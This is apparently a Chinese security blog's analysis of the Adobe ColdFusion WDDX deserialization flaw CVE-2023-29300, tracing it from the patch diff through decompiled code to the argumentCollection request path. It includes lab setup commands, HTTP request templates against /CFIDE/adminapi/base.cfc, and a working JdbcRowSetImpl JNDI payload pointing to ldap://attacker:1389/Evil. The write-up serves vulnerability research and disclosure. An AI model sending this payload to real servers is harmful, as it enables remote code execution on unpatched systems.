漏洞分析｜Adobe ColdFusion 序列化漏洞（CVE-2023-29300）

2023-11-10

0x01 概述

近期，Adobe ColdFusion 发布了多个安全更新，引起了我们的关注。Adobe ColdFusion 是一款基于 Java 的商业应用程序服务器，2023 年 7 月 13 日，ProjectDiscovery 发布了分析文章，我们通过研究 CVE-2023-29300 发现这其实是一个未公开且非常有趣的漏洞，此时官方尚未发布安全补丁，因此我们立即开始寻找新的利用方式。不久之后，ProjectDiscovery 意识到自己公布了 0day 漏洞，紧急删除了分析文章，并等待官方发布安全补丁，具体的时间可参考下文的漏洞时间线。

ProjectDiscovery 公布的利用方式受 JDK 小于 9 的限制，经过测试，这条已公开的 JNDI 利用链成功利用率为 0.6%。其中提到了关于 commons-beanutils 的利用链，经过我们的分析，实际上并不需要使用它，并且还存在其它的利用链。**本文将从 ColdFusion 2023 发布版的 Update 1 安全更新内容入手，详细分析 CVE-2023-29300 的漏洞成因，并提出一些后续的研究方向。

我们在 Goby 中已经集成了 CVE-2023-29300 漏洞的 JNDI 利用链（CVE-2023-38204），实现了命令执行回显和自定义 ldap 服务器地址的功能。演示效果如下：**

0x02 漏洞环境

我们已经在 vulfocus 中集成了开箱即用的环境，版本为 Ubuntu 20.04 + JDK 8u60 + Apache Tomcat 9.0.78 + ColdFusion Release 2023.0.0.330468。
拉取镜像：

docker pull vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

启动环境：

docker run -d -P vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

0x03 漏洞分析

3.1 补丁分析

7 月 12 日，Adobe 发布了 ColdFusion (2023 release) Update 1 更新。
将 patch 包反编译后的代码与更新前的代码进行比对，可以发现coldfusion.wddx.DeserializerWorker#startElement()方法中的明显变化：

图片.png 新增的validateWddxFilter()方法如下。

private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {
    String attributeType = atts.getValue("type");
    if (attributeType.endsWith(";")) {
        attributeType = attributeType.replace(";", "");
    }
    if (attributeType.startsWith("L")) {
        String attributeTypeCopy = attributeType;
        validateBlockedClass(attributeTypeCopy.replaceFirst("L", ""));
    }
    validateBlockedClass(attributeType);
}

private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {
    if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {
        throw new InvalidWddxPacketException();
    }
}

搜索相关文档可知，ColdFusion 实现了一种叫做 WDDX（Web Distributed Data Exchange，Web 分布式数据交换）的古老的 XML 技术。通过实现 WDDX，可以使变量（包括名称，数据类型和值）序列化成一个 XML 文档，应用程序可通过反序列化此 XML 文档，来重新建立这些变量。

3.2 WDDX 序列化

实现了coldfusion.wddx.WddxObjectSerializer接口的各个序列化器能够对数据进行 WDDX 序列化，如StringSerializer，NumberSerializer，BeanSerializer等等。
我们尝试使用BeanSerializer对自定义的 Java Bean 进行序列化，调试过程中也可以看到对象类型与序列化器默认的映射关系。
图片.png 输出的序列化结果格式如下。

<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='LJavaBean;'>
            <var name='age'>
                <number>233.0</number>
            </var>
            <var name='name'>
                <string>233</string>
            </var>
        </struct>
    </data>
</wddxPacket>

对应地，反序列化由coldfusion.wddx.WddxDeserializer类实现。
对于 ColdFusion 来说，WDDX 中的每个元素都是一个WddxElement，不同的元素对应着不同的Handler处理类，例如<string>标签中的元素与属性将由StringHandler处理，<struct>标签会由StructHandler处理。
其中我们关注onStartElement()和onEndElement()方法

public void onStartElement(String name, AttributeList attributes) throws WddxDeserializationException {
    this.m_strictType = attributes.getValue("type");
    //...
}

public void onEndElement() throws WddxDeserializationException {
    if (this.m_strictType == null) {
        // ...
    } else {
        Class beanClass = null;
        Object bean = null;

        try {
            beanClass = getClassBySignature(this.m_strictType);
            bean = beanClass.getDeclaredConstructor().newInstance();
            this.setBeanProperties(bean, this.m_ht);
            this.setTypeAndValue(bean);
        } catch (Exception var6) {
            // ...
        }
    }
}

onStartElement()和onEndElement()是 SAX 解析器（Simple API for XML）中的回调方法，分别在解析到 XML 元素的开始和结束标签时被调用。可以看到<struct>标签的type属性将在onStartElement()方法中被赋值给变量m_strictType。
跟进getClassBySignature()方法

private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {
    int index = 0;
    char c = jniTypeSig.charAt(index);
    String className;
    switch (c) {
        // ...
        default:
            className = jniTypeSig.substring(index + 1, jniTypeSig.length() - 1);
            return Class.forName(className);
        // ...
    }
}

很明显，这里首先会截掉type属性的前后两字符，然后将剩下的字符串视作类名，调用Class.forName()方法进行类加载，并紧接着在onEndElement()方法中调用其无参构造。
接下来StructHandler#setBeanProperties()方法中存在明显的Method#invoke()操作，目的是调用目标对象的 setter 方法，为刚刚被实例化的对象属性赋值。由于代码片段较长，这里就不贴出了。
至此，我们可以得出结论：
ColdFusion 的 WDDX 序列化与反序列化机制和 FastJson 很相似，都是基于目标对象的 getter 和 setter 方法，并在序列化和反序列化阶段自动调用。回头看安全更新的内容，如果没有过滤传入的type属性，那就类似于 FastJson 1.2.24 版本的情况，攻击者可以利用这个漏洞，实例化任意存在无参构造方法的类，并进一步调用其指定的 setter 方法，而且还可以控制参数。这无疑是存在漏洞利用的风险的。

3.3 参数传入分析

为了寻找传入序列化 payload 并触发反序列化的途径，我们在 Jadx 中全局搜索WddxDeserializer#deserialize()方法的引用，据此跟进coldfusion.filter.FilterUtils#WDDXDeserialize()

public static Object WDDXDeserialize(String str) throws Throwable {
    WddxDeserializer deserializer = new WddxDeserializer();
    InputSource source = new InputSource(new StringReader(str));
    return deserializer.deserialize(source);
}

继续搜索WDDXDeserialize()的引用，跟进FilterUtils#GetArgumentCollection()

public static Map GetArgumentCollection(FusionContext context) throws Throwable {
    ServletRequest request = context.request;
    String attr = (String)context.pageContext.findAttribute("url.argumentCollection");
    if (attr == null) {
        attr = (String)context.pageContext.findAttribute("form.argumentCollection");
    }

    Struct argumentCollection;
    if (attr == null) {
        // ...
    } else {
        attr = attr.trim();
        if (attr.charAt(0) == '{') {
            // ...
        } else {
            argumentCollection = (Struct)WDDXDeserialize(attr);
        }
    }
    // ...
    return argumentCollection;
}

分析findAttribute()方法可知，参数为url.xxx表示从请求的 URL 中获取xxx的参数值，form.yyy表示从上传的表单中获取yyy的参数值。
继续向上追溯，最终定位到coldfusion.filter.ComponentFilter#invoke()方法中。
ComponentFilter是一个继承了FusionFilter抽象类的过滤器，既然和过滤器扯上了关系，第一步肯定就是检查 web.xml 配置文件了。

<servlet-mapping id="coldfusion_mapping_4">
    <servlet-name>CFCServlet</servlet-name>
    <url-pattern>*.cfc</url-pattern>
</servlet-mapping>

可知解析 .cfc 页面的 Servlet 即CFCServlet。
跟进CFCServlet的getCFCFilterChain()方法

private FusionFilter getCFCFilterChain(ServletRequest request) {
	FusionFilter filter = new ComponentFilter();
	FusionFilter filter = new ApplicationFilter(filter, 3);
	// ...
	FusionFilter filter = new MonitoringFilter((FusionFilter)filter, "CFC REQUEST");
	filter = new PathFilter(filter, this);
	// ...
	FusionFilter filter = new ExceptionFilter((FusionFilter)filter);
	FusionFilter filter = new ClientScopePersistenceFilter(filter);
	FusionFilter filter = new BrowserFilter(filter);
	FusionFilter filter = new NoCacheFilter(filter);
	boolean needsFormScope = true;
	FusionFilter filter = new GlobalsFilter(filter, true);
	FusionFilter filter = new DatasourceFilter(filter);
	return filter;
}

其返回的 Filter Chain 中正好包含有ComponentFilter。
需要注意的是，PathFilter会检查访问的目标文件是否存在，因此我们不能访问一个服务器中不存在的 .cfc 文件。
据此尝试构造如下数据包，一路跟进到ComponentFilter#invoke()方法：

POST /CFIDE/adminapi/base.cfc HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded

argumentCollection=/* payload */

此处存在一个if判断，如果没有传入method参数的话就会提前返回 302，截断我们的攻击路径。
因此我们还需要传递一个method参数

POST /CFIDE/adminapi/base.cfc?method HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded

argumentCollection=/* payload */

这样我们就能跳过if，调用GetArgumentCollection()方法将序列化后的恶意数据传入服务器了。

0x04 漏洞利用

因此，我们类比 FastJson，不难想到通过调用JdbcRowSetImpl类的setDataSourceName和setAutoCommit两个 setter 方法来构造 JNDI 利用链。此利用链被赋予 CVE 编号 CVE-2023-38204。

<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='xcom.sun.rowset.JdbcRowSetImplx'>
            <var name='dataSourceName'>
                <string>ldap://attacker:1389/Evil</string>
            </var>
            <var name='autoCommit'>
                <boolean value='true'/>
            </var>
        </struct>
    </data>
</wddxPacket>

图片.png
我们注意到在 WEB-INF/bundles 及其子文件夹 repo 下还存有大量 Jar 包。在“存在即合理”的假设前提下，我们将所有 Jar 添加进了工作环境，在此基础上继续挖掘新的利用链，并成功实现了一种带有限制的新的利用方式。

0x05 漏洞时间线

CVE-2023-29300

2023.7.11 官方发布安全公告
2023.7.12 ProjectDiscovery 分析文章发布，未意识到 0day 公布
2023.7.13 ProjectDiscovery 隐藏分析文章
2023.7.14 漏洞修复

CVE-2023-38204

2023.7.13 漏洞披露（CVE-2023-29300 的具体利用链）
2023.7.19 漏洞修复
2023.7.19 ProjectDiscovery 开放分析文章

0x06 总结

通过研究 CVE-2023-29300，我们了解了 Adobe ColdFusion 产品的基本工作原理，其不安全的 WDDX 序列化实现将产生可利用的漏洞。同时，我们详细分析了通过 argumentCollection 参数传入 payload 的完整调用路径，以及为何需要传入看似与利用无关的 method 参数。在此基础上，我们探索了利用的新方向，在这个过程中也踩了不少坑。阅读本篇文章后，大家在复现此漏洞以及在将来需要研究此产品时，就可以少走一些弯路了，后续有机会的话，会进一步分享研究成果。

参考链接

https://blog.projectdiscovery.io/adobe-coldfusion-rce/
https://helpx.adobe.com/coldfusion/kb/coldfusion-2023-update-1.html
https://helpx.adobe.com/sg/coldfusion/developing-applications/using-web-elements-and-external-objects/using-xml-and-wddx/moving-complex-data-across-the-web-with-wddx.html

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